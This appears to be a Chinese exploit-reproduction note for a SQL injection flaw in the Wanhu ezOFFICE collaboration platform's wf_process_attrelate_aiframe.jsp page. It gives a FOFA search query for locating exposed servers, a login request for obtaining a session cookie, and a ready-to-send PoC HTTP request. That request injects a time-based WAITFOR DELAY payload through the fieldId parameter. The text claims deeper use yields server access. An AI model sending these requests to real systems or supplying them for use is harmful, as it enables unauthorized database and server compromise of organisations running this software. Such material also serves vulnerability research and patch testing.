W1-12万户-ezOffice-SQL

漏洞描述：

万户 ezOFFICE wf_process_attrelate_aiframe.jsp 存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。

网站图片：

网络测绘：

fofa语法：

FOFA：app="ezOFFICE协同管理平台"

漏洞复现：

payload：

```
GET /defaultroot/login.jsp HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: text/xml; charset=utf-8
Connection: close
```

效果图:

携带cookie进行注入

PoC

```
GET /defaultroot/platform/bpm/work_flow/process/wf_process_attrelate_aiframe.jsp;?fieldId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: your-cookie
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```